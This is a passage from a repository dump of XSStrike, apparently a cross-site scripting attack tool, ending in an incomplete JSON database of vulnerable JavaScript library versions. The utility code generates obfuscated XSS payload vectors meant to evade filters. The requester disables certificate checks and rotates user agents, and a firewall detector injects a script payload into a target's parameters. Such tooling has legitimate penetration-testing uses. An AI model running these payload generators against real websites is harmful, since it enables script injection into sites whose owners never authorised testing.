# rec(url)
threadpool = concurrent.futures.ThreadPoolExecutor(
max_workers=threadCount)
futures = (threadpool.submit(rec, url) for url in urls)
for i in concurrent.futures.as_completed(futures):
pass
except KeyboardInterrupt:
return [forms, processed]
return [forms, processed]
================================================
FILE: core/prompt.py
================================================
import os
import tempfile
from core.config import defaultEditor
from core.colors import white, yellow
from core.log import setup_logger
logger = setup_logger(__name__)
def prompt(default=None):
# try assigning default editor, if fails, use default
editor = os.environ.get('EDITOR', defaultEditor)
# create a temporary file and open it
with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:
if default: # if prompt should have some predefined text
tmpfile.write(default)
tmpfile.flush()
child_pid = os.fork()
is_child = child_pid == 0
if is_child:
# opens the file in the editor
try:
os.execvp(editor, [editor, tmpfile.name])
except FileNotFoundError:
logger.error('You don\'t have either a default $EDITOR \
value defined nor \'nano\' text editor')
logger.info('Execute %s`export EDITOR=/pat/to/your/editor` \
%sthen run XSStrike again.\n\n' % (yellow,white))
exit(1)
else:
os.waitpid(child_pid, 0) # wait till the editor gets closed
tmpfile.seek(0)
return tmpfile.read().strip() # read the file
================================================
FILE: core/requester.py
================================================
import random
import requests
import time
from urllib3.exceptions import ProtocolError
import warnings
import core.config
from core.utils import converter, getVar
from core.log import setup_logger
logger = setup_logger(__name__)
warnings.filterwarnings('ignore') # Disable SSL related warnings
def requester(url, data, headers, GET, delay, timeout):
if getVar('jsonData'):
data = converter(data)
elif getVar('path'):
url = converter(data, url)
data = []
GET, POST = True, False
time.sleep(delay)
user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']
if 'User-Agent' not in headers:
headers['User-Agent'] = random.choice(user_agents)
elif headers['User-Agent'] == '$':
headers['User-Agent'] = random.choice(user_agents)
logger.debug('Requester url: {}'.format(url))
logger.debug('Requester GET: {}'.format(GET))
logger.debug_json('Requester data:', data)
logger.debug_json('Requester headers:', headers)
try:
if GET:
response = requests.get(url, params=data, headers=headers,
timeout=timeout, verify=False, proxies=core.config.proxies)
elif getVar('jsonData'):
response = requests.post(url, json=data, headers=headers,
timeout=timeout, verify=False, proxies=core.config.proxies)
else:
response = requests.post(url, data=data, headers=headers,
timeout=timeout, verify=False, proxies=core.config.proxies)
return response
except ProtocolError:
logger.warning('WAF is dropping suspicious requests.')
logger.warning('Scanning will continue after 10 minutes.')
time.sleep(600)
except Exception as e:
logger.warning('Unable to connect to the target.')
return requests.Response()
================================================
FILE: core/updater.py
================================================
import os
import re
from requests import get
from core.config import changes
from core.colors import que, info, end, green
from core.log import setup_logger
logger = setup_logger(__name__)
def updater():
logger.run('Checking for updates')
latestCommit = get(
'https://raw.githubusercontent.com/s0md3v/XSStrike/master/core/config.py').text
if changes not in latestCommit: # just a hack to see if a new version is available
changelog = re.search(r"changes = '''(.*?)'''", latestCommit)
changelog = changelog.group(1).split(
';') # splitting the changes to form a list
logger.good('A new version of XSStrike is available.')
changes_str = 'Changes:\n'
for change in changelog: # prepare changes to print
changes_str += '%s>%s %s\n' % (green, end, change)
logger.info(changes_str)
currentPath = os.getcwd().split('/') # if you know it, you know it
folder = currentPath[-1] # current directory name
path = '/'.join(currentPath) # current directory path
choice = input('%s Would you like to update? [Y/n] ' % que).lower()
if choice != 'n':
logger.run('Updating XSStrike')
os.system(
'git clone --quiet https://github.com/s0md3v/XSStrike %s' % (folder))
os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' %
(path, folder, path, path, folder))
logger.good('Update successful!')
else:
logger.good('XSStrike is up to date!')
================================================
FILE: core/utils.py
================================================
import json
import random
import re
from urllib.parse import urlparse
import core.config
from core.config import xsschecker
def converter(data, url=False):
if 'str' in str(type(data)):
if url:
dictized = {}
parts = data.split('/')[3:]
for part in parts:
dictized[part] = part
return dictized
else:
return json.loads(data)
else:
if url:
url = urlparse(url).scheme + '://' + urlparse(url).netloc
for part in list(data.values()):
url += '/' + part
return url
else:
return json.dumps(data)
def counter(string):
string = re.sub(r'\s|\w', '', string)
return len(string)
def closest(number, numbers):
difference = [abs(list(numbers.values())[0]), {}]
for index, i in numbers.items():
diff = abs(number - i)
if diff < difference[0]:
difference = [diff, {index: i}]
return difference[1]
def fillHoles(original, new):
filler = 0
filled = []
for x, y in zip(original, new):
if int(x) == (y + filler):
filled.append(y)
else:
filled.extend([0, y])
filler += (int(x) - y)
return filled
def stripper(string, substring, direction='right'):
done = False
strippedString = ''
if direction == 'right':
string = string[::-1]
for char in string:
if char == substring and not done:
done = True
else:
strippedString += char
if direction == 'right':
strippedString = strippedString[::-1]
return strippedString
def extractHeaders(headers):
headers = headers.replace('\\n', '\n')
sorted_headers = {}
matches = re.findall(r'(.*):\s(.*)', headers)
for match in matches:
header = match[0]
value = match[1]
try:
if value[-1] == ',':
value = value[:-1]
sorted_headers[header] = value
except IndexError:
pass
return sorted_headers
def replaceValue(mapping, old, new, strategy=None):
"""
Replace old values with new ones following dict strategy.
The parameter strategy is None per default for inplace operation.
A copy operation is injected via strateg values like copy.copy
or copy.deepcopy
Note: A dict is returned regardless of modifications.
"""
anotherMap = strategy(mapping) if strategy else mapping
if old in anotherMap.values():
for k in anotherMap.keys():
if anotherMap[k] == old:
anotherMap[k] = new
return anotherMap
def getUrl(url, GET):
if GET:
return url.split('?')[0]
else:
return url
def extractScripts(response):
scripts = []
matches = re.findall(r'(?s)<script.*?>(.*?)</script>', response.lower())
for match in matches:
if xsschecker in match:
scripts.append(match)
return scripts
def randomUpper(string):
return ''.join(random.choice((x, y)) for x, y in zip(string.upper(), string.lower()))
def flattenParams(currentParam, params, payload):
flatted = []
for name, value in params.items():
if name == currentParam:
value = payload
flatted.append(name + '=' + value)
return '?' + '&'.join(flatted)
def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):
vectors = []
r = randomUpper # randomUpper randomly converts chars of a string to uppercase
for tag in tags:
if tag == 'd3v' or tag == 'a':
bait = xsschecker
else:
bait = ''
for eventHandler in eventHandlers:
# if the tag is compatible with the event handler
if tag in eventHandlers[eventHandler]:
for function in functions:
for filling in fillings:
for eFilling in eFillings:
for lFilling in lFillings:
for end in ends:
if tag == 'd3v' or tag == 'a':
if '>' in ends:
end = '>' # we can't use // as > with "a" or "d3v" tag
breaker = ''
if badTag:
breaker = '</' + r(badTag) + '>'
vector = breaker + '<' + r(tag) + filling + r(
eventHandler) + eFilling + '=' + eFilling + function + lFilling + end + bait
vectors.append(vector)
return vectors
def getParams(url, data, GET):
params = {}
if '?' in url and '=' in url:
data = url.split('?')[1]
if data[:1] == '?':
data = data[1:]
elif data:
if getVar('jsonData') or getVar('path'):
params = data
else:
try:
params = json.loads(data.replace('\'', '"'))
return params
except json.decoder.JSONDecodeError:
pass
else:
return None
if not params:
parts = data.split('&')
for part in parts:
each = part.split('=')
if len(each) < 2:
each.append('')
try:
params[each[0]] = each[1]
except IndexError:
params = None
return params
def writer(obj, path):
kind = str(type(obj)).split('\'')[0]
if kind == 'list' or kind == 'tuple':
obj = '\n'.join(obj)
elif kind == 'dict':
obj = json.dumps(obj, indent=4)
savefile = open(path, 'w+')
savefile.write(str(obj.encode('utf-8')))
savefile.close()
def reader(path):
with open(path, 'r') as f:
result = [line.rstrip(
'\n').encode('utf-8').decode('utf-8') for line in f]
return result
def js_extractor(response):
"""Extract js files from the response body"""
scripts = []
matches = re.findall(r'<(?:script|SCRIPT).*?(?:src|SRC)=([^\s>]+)', response)
for match in matches:
match = match.replace('\'', '').replace('"', '').replace('`', '')
scripts.append(match)
return scripts
def handle_anchor(parent_url, url):
scheme = urlparse(parent_url).scheme
if url[:4] == 'http':
return url
elif url[:2] == '//':
return scheme + ':' + url
elif url.startswith('/'):
host = urlparse(parent_url).netloc
scheme = urlparse(parent_url).scheme
parent_url = scheme + '://' + host
return parent_url + url
elif parent_url.endswith('/'):
return parent_url + url
else:
return parent_url + '/' + url
def deJSON(data):
return data.replace('\\\\', '\\')
def getVar(name):
return core.config.globalVariables[name]
def updateVar(name, data, mode=None):
if mode:
if mode == 'append':
core.config.globalVariables[name].append(data)
elif mode == 'add':
core.config.globalVariables[name].add(data)
else:
core.config.globalVariables[name] = data
def isBadContext(position, non_executable_contexts):
badContext = ''
for each in non_executable_contexts:
if each[0] < position < each[1]:
badContext = each[2]
break
return badContext
def equalize(array, number):
if len(array) < number:
array.append('')
def escaped(position, string):
usable = string[:position][::-1]
match = re.search(r'^\\*', usable)
if match:
match = match.group()
if len(match) == 1:
return True
elif len(match) % 2 == 0:
return False
else:
return True
else:
return False
================================================
FILE: core/wafDetector.py
================================================
import json
import re
import sys
from core.requester import requester
from core.log import setup_logger
logger = setup_logger(__name__)
def wafDetector(url, params, headers, GET, delay, timeout):
with open(sys.path[0] + '/db/wafSignatures.json', 'r') as file:
wafSignatures = json.load(file)
# a payload which is noisy enough to provoke the WAF
noise = '<script>alert("XSS")</script>'
params['xss'] = noise
# Opens the noise injected payload
response = requester(url, params, headers, GET, delay, timeout)
page = response.text
code = str(response.status_code)
headers = str(response.headers)
logger.debug('Waf Detector code: {}'.format(code))
logger.debug_json('Waf Detector headers:', response.headers)
if int(code) >= 400:
bestMatch = [0, None]
for wafName, wafSignature in wafSignatures.items():
score = 0
pageSign = wafSignature['page']
codeSign = wafSignature['code']
headersSign = wafSignature['headers']
if pageSign:
if re.search(pageSign, page, re.I):
score += 1
if codeSign:
if re.search(codeSign, code, re.I):
score += 0.5 # increase the overall score by a smaller amount because http codes aren't strong indicators
if headersSign:
if re.search(headersSign, headers, re.I):
score += 1
# if the overall score of the waf is higher than the previous one
if score > bestMatch[0]:
del bestMatch[:] # delete the previous one
bestMatch.extend([score, wafName]) # and add this one
if bestMatch[0] != 0:
return bestMatch[1]
else:
return None
else:
return None
================================================
FILE: core/zetanize.py
================================================
import re
def zetanize(response):
def e(string):
return string.encode('utf-8')
def d(string):
return string.decode('utf-8')
# remove the content between html comments
response = re.sub(r'(?s)<!--.*?-->', '', response)
forms = {}
matches = re.findall(r'(?i)(?s)<form.*?</form.*?>',
response) # extract all the forms
num = 0
for match in matches: # everything else is self explanatory if you know regex
page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match)
method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match)
forms[num] = {}
forms[num]['action'] = d(e(page.group(1))) if page else ''
forms[num]['method'] = d(
e(method.group(1)).lower()) if method else 'get'
forms[num]['inputs'] = []
inputs = re.findall(r'(?i)(?s)<input.*?>', response)
for inp in inputs:
inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp)
if inpName:
inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp)
inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp)
inpName = d(e(inpName.group(1)))
inpType = d(e(inpType.group(1)))if inpType else ''
inpValue = d(e(inpValue.group(1))) if inpValue else ''
if inpType.lower() == 'submit' and inpValue == '':
inpValue = 'Submit Query'
inpDict = {
'name': inpName,
'type': inpType,
'value': inpValue
}
forms[num]['inputs'].append(inpDict)
num += 1
return forms
================================================
FILE: db/definitions.json
================================================
{
"retire-example": {
"vulnerabilities" : [
{
"below" : "0.0.2",
"severity" : "low",
"identifiers" : {
"CVE" : [ "CVE-XXXX-XXXX" ],
"bug" : "1234",
"summary" : "bug summary"
},
"info" : [ "http://github.com/eoftedal/retire.js/" ]
}
],
"extractors" : {
"func" : [ "retire.VERSION" ],
"filename" : [ "retire-example-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "/\\*!? Retire-example v([0-9][0-9.a-z_-]+)" ],
"hashes" : { "07f8b94c8d601a24a1914a1a92bec0e4fafda964" : "0.0.1" }
}
},
"jquery": {
"bowername": [ "jQuery" ],
"vulnerabilities" : [
{
"below" : "1.6.3",
"severity" : "medium",
"identifiers" : {
"CVE": [ "CVE-2011-4969" ],
"summary": "XSS with location.hash"
},
"info" : [ "https://nvd.nist.gov/vuln/detail/CVE-2011-4969" , "http://research.insecurelabs.org/jquery/test/", "https://bugs.jquery.com/ticket/9521" ]
},
{
"below" : "1.9.0b1",
"identifiers": {
"CVE" : [ "CVE-2012-6708" ],
"bug": "11290",
"summary": "Selector interpreted as HTML"
},
"severity": "medium",
"info" : [ "http://bugs.jquery.com/ticket/11290" , "https://nvd.nist.gov/vuln/detail/CVE-2012-6708", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"atOrAbove" : "1.4.0",
"below" : "1.12.0",
"identifiers": {
"issue" : "2432",
"summary": "3rd party CORS request may execute",
"CVE": [ "CVE-2015-9251" ]
},
"severity": "medium",
"info" : [ "https://github.com/jquery/jquery/issues/2432", "http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/", "https://nvd.nist.gov/vuln/detail/CVE-2015-9251", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"atOrAbove" : "1.12.3",
"below" : "3.0.0-beta1",
"identifiers": {
"issue" : "2432",
"summary": "3rd party CORS request may execute",
"CVE": [ "CVE-2015-9251" ]
},
"severity": "medium",
"info" : [ "https://github.com/jquery/jquery/issues/2432", "http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/", "https://nvd.nist.gov/vuln/detail/CVE-2015-9251", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"atOrAbove" : "1.8.0",
"below" : "1.12.0",
"identifiers": {
"CVE" : [ "CVE-2015-9251" ],
"issue" : "11974",
"summary": "parseHTML() executes scripts in event handlers"
},
"severity": "medium",
"info" : [ "https://bugs.jquery.com/ticket/11974", "https://nvd.nist.gov/vuln/detail/CVE-2015-9251", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"atOrAbove" : "1.12.2",
"below" : "2.2.0",
"identifiers": {
"CVE" : [ "CVE-2015-9251" ],
"issue" : "11974",
"summary": "parseHTML() executes scripts in event handlers"
},
"severity": "medium",
"info" : [ "https://bugs.jquery.com/ticket/11974", "https://nvd.nist.gov/vuln/detail/CVE-2015-9251", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"atOrAbove" : "2.2.2",
"below" : "3.0.0",
"identifiers": {
"CVE" : [ "CVE-2015-9251" ],
"issue" : "11974",
"summary": "parseHTML() executes scripts in event handlers"
},
"severity": "medium",
"info" : [ "https://bugs.jquery.com/ticket/11974", "https://nvd.nist.gov/vuln/detail/CVE-2015-9251", "http://research.insecurelabs.org/jquery/test/" ]
},
{
"below" : "3.4.0",
"identifiers": {
"CVE" : [ "CVE-2019-11358" ],
"summary": "jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution"
},
"severity" : "low",
"info" : [ "https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/", "https://nvd.nist.gov/vuln/detail/CVE-2019-11358", "https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b" ]
}
],
"extractors" : {
"func" : [
"(jQuery || $ || $jq || $j).fn.jquery",
"require('jquery').fn.jquery"
],
"uri" : [ "/([0-9][0-9.a-z_-]+)/jquery(\\.min)?\\.js" ],
"filename" : [ "jquery-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontent" : [
"/\\*!? jQuery v([0-9][0-9.a-z_-]+)", "\\* jQuery JavaScript Library v([0-9][0-9.a-z_-]+)",
"\\* jQuery ([0-9][0-9.a-z_-]+) - New Wave Javascript", "// \\$Id: jquery.js,v ([0-9][0-9.a-z_-]+)",
"/\\*! jQuery v([0-9][0-9.a-z_-]+)",
"[^a-z]f=\"([0-9][0-9.a-z_-]+)\",.*[^a-z]jquery:f,",
"[^a-z]m=\"([0-9][0-9.a-z_-]+)\",.*[^a-z]jquery:m,",
"[^a-z.]jquery:[ ]?\"([0-9][0-9.a-z_-]+)\"",
"\\$\\.documentElement,Q=e.jQuery,Z=e\\.\\$,ee=\\{\\},te=\\[\\],ne=\"([0-9][0-9.a-z_-]+)\""
],
"filecontentreplace" : [
"/var [a-z]=[a-z]\\.document,([a-z])=\"([0-9][0-9.a-z_-]+)\",([a-z])=.{130,160};\\3\\.fn=\\3\\.prototype=\\{jquery:\\1/$2/"
],
"hashes" : {}
}
},
"jquery-migrate" : {
"vulnerabilities" : [
{
"below" : "1.2.0",
"severity": "medium",
"identifiers": {
"release": "jQuery Migrate 1.2.0 Released",
"summary": "cross-site-scripting"
},
"info" : [ "http://blog.jquery.com/2013/05/01/jquery-migrate-1-2-0-released/" ]
},
{
"below" : "1.2.2",
"severity": "medium",
"identifiers": {
"bug": "11290",
"summary": "Selector interpreted as HTML"
},
"info" : [ "http://bugs.jquery.com/ticket/11290" , "http://research.insecurelabs.org/jquery/test/" ]
}
],
"extractors" : {
"filename" : [ "jquery-migrate-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"filecontent" : [ "/\\*!?(?:\n \\*)? jQuery Migrate(?: -)? v([0-9][0-9.a-z_-]+)" ],
"hashes" : {}
}
},
"jquery.validator" : {
"bowername": [ "jquery-validator" ],
"vulnerabilities" : [
],
"extractors" : {
"func" : [ "jQuery.validation.version" ],
"filename" : [ "jquery.validation-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/jquery.validation(\\.min)?\\.js" ],
"filecontent" : [ "/\\*!?(?:\n \\*)? jQuery Validation Plugin v([0-9][0-9.a-z_-]+)" ],
"hashes" : {}
}
},
"jquery-mobile" : {
"bowername": [ "jquery-mobile", "jquery-mobile-min", "jquery-mobile-build", "jquery-mobile-dist", "jquery-mobile-bower" ],
"vulnerabilities" : [
{
"below" : "1.0RC2",
"severity": "high",
"identifiers": {"osvdb": ["94563", "93562", "94316", "94561", "94560"]},
"info" : [ "http://osvdb.org/show/osvdb/94563", "http://osvdb.org/show/osvdb/94562", "http://osvdb.org/show/osvdb/94316", "http://osvdb.org/show/osvdb/94561", "http://osvdb.org/show/osvdb/94560" ]
},
{
"below" : "1.0.1",
"severity": "high",
"identifiers": {"osvdb": ["94317"]},
"info": [ "http://osvdb.org/show/osvdb/94317" ]
},
{
"below" : "1.1.2",
"severity": "medium",
"identifiers": {
"issue": "4787",
"release": "http://jquerymobile.com/changelog/1.1.2/",
"summary": "location.href cross-site scripting"
},
"info": [ "http://jquerymobile.com/changelog/1.1.2/", "https://github.com/jquery/jquery-mobile/issues/4787" ]
},
{
"below" : "1.2.0",
"severity": "medium",
"identifiers": {
"issue": "4787",
"release": "http://jquerymobile.com/changelog/1.2.0/",
"summary": "location.href cross-site scripting"
},
"info": [ "http://jquerymobile.com/changelog/1.2.0/", "https://github.com/jquery/jquery-mobile/issues/4787" ]
},
{
"below" : "100.0.0",
"severity": "medium",
"identifiers": {
"summary": "open redirect leads to cross site scripting"
},
"info": [ "http://sirdarckcat.blogspot.no/2017/02/unpatched-0day-jquery-mobile-xss.html" ]
}
],
"extractors" : {
"func" : [ "jQuery.mobile.version" ],
"filename" : [ "jquery.mobile-([0-9][0-9.a-z_-]+)(.min)?\\.js" ],
"uri" : [ "/([0-9][0-9.a-z_-]+)/jquery.mobile(\\.min)?\\.js" ],
"filecontent" : [ "/\\*!?(?:\n \\*)? jQuery Mobile(?: -)? v([0-9][0-9.a-z_-]+)" ],
"hashes" : {}
}
},
"jquery-ui-dialog" : {
"bowername": [ "jquery-ui", "jquery.ui" ],
"vulnerabilities" : [
{
"atOrAbove": "1.8.9",
"below" : "1.10.0",
"severity": "medium",
"identifiers": {
"CVE": [ "CVE-2010-5312" ],
"bug": "6016",
"summary": "Title cross-site scripting vulnerability"
},
"info" : [ "http://bugs.jqueryui.com/ticket/6016", "https://nvd.nist.gov/vuln/detail/CVE-2010-5312" ]
},
{
"below" : "1.12.0",
"severity": "high",
"identifiers": {
"CVE": [ "CVE-2016-7103" ],
"bug": "281",
"summary": "XSS Vulnerability on closeText option"
},
"info" : [ "https://github.com/jquery/api.jqueryui.com/issues/281", "https://nvd.nist.gov/vuln/detail/CVE-2016-7103", "https://snyk.io/vuln/npm:jquery-ui:20160721" ]
}
],
"extractors" : {
"func" : [ "jQuery.ui.dialog.version" ],
"filecontent" : [
"/\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\n){1,3}.*jquery\\.ui\\.dialog\\.js",
"/\\*!?[\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\n)*.*\\.ui\\.dialog",
"/\\*!?[\n *]+jQuery UI Dialog ([0-9][0-9.a-z_-]+)",
"/\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\n){1,3}\\* Includes: .* dialog\\.js"
],
"hashes" : {}
}
},
"jquery-ui-autocomplete" : {
"bowername": [ "jquery-ui", "jquery.ui" ],
"vulnerabilities" : [ ],
"extractors" : {
"func" : [ "jQuery.ui.autocomplete.version" ],
"filecontent" : [
"/\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\n){1,3}.*jquery\\.ui\\.autocomplete\\.js",
"/\\*!?[\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\n)*.*\\.ui\\.autocomplete",
"/\\*!?[\n *]+jQuery UI Autocomplete ([0-9][0-9.a-z_-]+)",
"/\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\n){1,3}\\* Includes: .* autocomplete\\.js"
],
"hashes" : {}
}
},
"jquery-ui-tooltip" : {
"bowername": [ "jquery-ui", "jquery.ui" ],
"vulnerabilities" : [
{
"atOrAbove": "1.9.2",
"below" : "1.10.0",
"severity": "high",
"identifiers": {
"CVE" : [ "CVE-2012-6662" ],
"bug": "8859",
"summary": "Autocomplete cross-site scripting vulnerability"
},
"info" : [ "http://bugs.jqueryui.com/ticket/8859", "https://nvd.nist.gov/vuln/detail/CVE-2012-6662" ]
}
],
"extractors" : {
"func" : [ "jQuery.ui.tooltip.version" ],
"filecontent" : [
"/\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\n){1,3}.*jquery\\.ui\\.tooltip\\.js",
"/\\*!?[\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\n)*.*\\.ui\\.tooltip",
"/\\*!?[\n *]+jQuery UI Tooltip ([0-9][0-9.a-z_-]+)"
],
"hashes" : {}
}
},
"jquery.prettyPhoto" : {
"bowername": [ "jquery-prettyPhoto" ],
"vulnerabilities" : [
{
"below" : "3.1.5",
"severity" : "high",
"identifiers" : { "CVE" : [ "CVE-2013-6837" ] },
"info" : [ "https://nvd.nist.gov/vuln/detail/CVE-2013-6837" ]
},
{
"below" : "3.1.6",
"severity" : "high",
"info" : [ "https://github.com/scaron/prettyphoto/issues/149", "https://blog.anantshri.info/forgotten_disclosure_dom_xss_prettyphoto" ]
}
],
"extractors" : {
"func" : [ "jQuery.prettyPhoto.version" ],
"filecontent" : [
"/\\*(?:.*[\n\r]+){1,3}.*Class: prettyPhoto(?:.*[\n\r]+){1,3}.*Version: ([0-9][0-9.a-z_-]+)",
"\\.prettyPhoto[ ]?=[ ]?\\{version:[ ]?(?:'|\")([0-9][0-9.a-z_-]+)(?:'|\")\\}"
],
"hashes" : {}
}
},
"jPlayer" : {
"bowername": [ "jPlayer" ],
"vulnerabilities" : [
{
"below" : "2.3.1",
"severity": "high",
"identifiers": {
"CVE": [ "CVE-2013-2023" ],
"release" : "2.3.1",
"summary" : "XSS vulnerability in actionscript/Jplayer.as in the Flash SWF component" },
"info" : [ "http://jplayer.org/latest/release-notes/", "https://nvd.nist.gov/vuln/detail/CVE-2013-2023" ]
},
{
"below" : "2.3.23",
"severity": "high",
"identifiers": {
"CVE": [ "CVE-2013-2022" ],
"release": "2.3.23",
"summary": "XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component"
},
"info" : [ "http://jplayer.org/latest/release-notes/", "https://nvd.nist.gov/vuln/detail/CVE-2013-2022" ]
},
{
"below" : "2.2.20",
"severity": "high",
"identifiers": {
"CVE": [ "CVE-2013-1942" ],
"release": "2.2.20",
"summary": "XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component"
},
"info" : [ "http://jplayer.org/latest/release-notes/", "https://nvd.nist.gov/vuln/detail/CVE-2013-1942" ]
}
],
"extractors" : {
"func" : [ "new jQuery.jPlayer().version.script" ],
"filecontent" : [
"/\\*(?:.*[\n\r]+){1,3}.*jPlayer Plugin for jQuery(?:.*[\n\r]+){1,10}.*Version: ([0-9][0-9.a-z_-]+)"
],
"hashes" : {}
}
},
"knockout": {
"vulnerabilities" : [
{
"below" : "3.5.0-beta",
"severity": "medium",
"identifiers": {"summary": "XSS injection point in attr name binding for browser IE7 and older"},
"info" : [ "https://github.com/knockout/knockout/issues/1244" ]
}
],
"extractors" : {
"func" : [ "ko.version" ],
"filename" : [ "knockout-([0-9][0-9.a-z_-]+)(.min)?\\.js"],
"filecontent" : [
"\\* Knockout JavaScript library v([0-9][0-9.a-z_-]+)"
],
"hashes" : {}
}
},
"sessvars": {
"vulnerabilities" : [
{
"below" : "1.01",
"severity": "low",
"identifiers": {"summary": "Unsanitized data passed to eval()"},
"info" : [ "http://www.thomasfrank.se/sessionvars.html" ]
}
],
"extractors" : {
"filename" : [ "sessvars-([0-9][0-9.a-z_-]+)(.min)?\\.js"],
"filecontent" : [ "sessvars ver ([0-9][0-9.a-z_-]+)"],
"hashes" : {}
}
},
"swfobject": {
"bowername": [ "swfobject", "swfobject-bower" ],
"vulnerabilities" : [
{
"below" : "2.1",
"severity": "medium",
"identifiers": {"summary": "DOM-based XSS"},
"info" : [ "https://github.com/swfobject/swfobject/wiki/SWFObject-Release-Notes#swfobject-v21-beta7-june-6th-2008" ]
}
],
"extractors" : {
"filename" : [ "swfobject_([0-9][0-9.a-z_-]+)(.min)?\\.js"],
"filecontent" : [ "SWFObject v([0-9][0-9.a-z_-]+) "],
"hashes" : {}
}
},
"tinyMCE" : {
"bowername": [ "tinymce", "tinymce-dist" ],
"vulnerabilities" : [
{
"below" : "1.4.2",
"severity" : "high",
"identifiers" : {
"summary" : "Static code injection vulnerability in inc/function.base.php",
"CVE" : [ "CVE-2011-4825" ]
},
"info" : [ "http://www.cvedetails.com/cve/CVE-2011-4825/" ]
},
{
"below" : "4.2.4",
"severity" : "medium",
"identifiers" : { "summary" : "xss issues with media plugin not properly filtering out some script attributes." },
"info" : [ "https://www.tinymce.com/docs/changelog/" ]
},
{
"below" : "4.2.0",
"severity" : "medium",
"identifiers" : { "summary" : "FIXED so script elements gets removed by default to prevent possible XSS issues in default config implementations" },
"info" : [ "https://www.tinymce.com/docs/changelog/" ]
},
{
"below" : "4.7.12",
"severity" : "medium",
"identifiers" : { "summary" : "FIXED so links with xlink:href attributes are filtered correctly to prevent XSS." },
"info" : [ "https://www.tinymce.com/docs/changelog/" ]
}
],
"extractors" : {
"filecontent" : [ "// ([0-9][0-9.a-z_-]+) \\([0-9\\-]+\\)[\n\r]+.{0,1200}l=.tinymce/geom/Rect." ],
"filecontentreplace" : [
"/tinyMCEPreInit.*majorVersion:.([0-9]+).,minorVersion:.([0-9.]+)./$1.$2/",
"/majorVersion:.([0-9]+).,minorVersion:.([0-9.]+).,.*tinyMCEPreInit/$1.$2/"
],
"func" : [ "tinyMCE.majorVersion + '.'+ tinyMCE.minorVersion" ]
}
},
"YUI" : {
"bowername": [ "yui", "yui3" ],
"vulnerabilities" : [
{
"atOrAbove" : "3.5.0" ,
"below" : "3.9.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-4942" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2013-4942/" ]
},
{
"atOrAbove" : "3.2.0" ,
"below" : "3.9.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-4941" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2013-4941/" ]
},
{
"atOrAbove" : "3.0.0",
"below" : "3.10.3",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-4940" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2013-4940/" ]
},
{
"atOrAbove" : "3.0.0" ,
"below" : "3.9.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2013-4939" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2013-4939/" ]
},
{
"atOrAbove" : "2.8.0" ,
"below" : "2.9.1",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2012-5883" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2012-5883/" ]
},
{
"atOrAbove" : "2.5.0" ,
"below" : "2.9.1",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2012-5882" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2012-5882/" ]
},
{
"atOrAbove" : "2.4.0" ,
"below" : "2.9.1",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2012-5881" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2012-5881/" ]
},
{
"below" : "2.9.0",
"severity": "medium",
"identifiers": {"CVE": [ "CVE-2010-4710" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2010-4710/" ]
},
{
"atOrAbove" : "2.8.0" ,
"below" : "2.8.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2010-4209" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2010-4209/" ]
},
{
"atOrAbove" : "2.5.0" ,
"below" : "2.8.2",
"severity": "high",
"identifiers": {"CVE": [ "CVE-2010-4208" ] },
"info" : [ "http://www.cvedetails.com/cve/CVE-2010-4208/" ]
},
{
"atOrAbove" : "2.4.0" ,
"below" : "2.8.2",
"severity": "high",
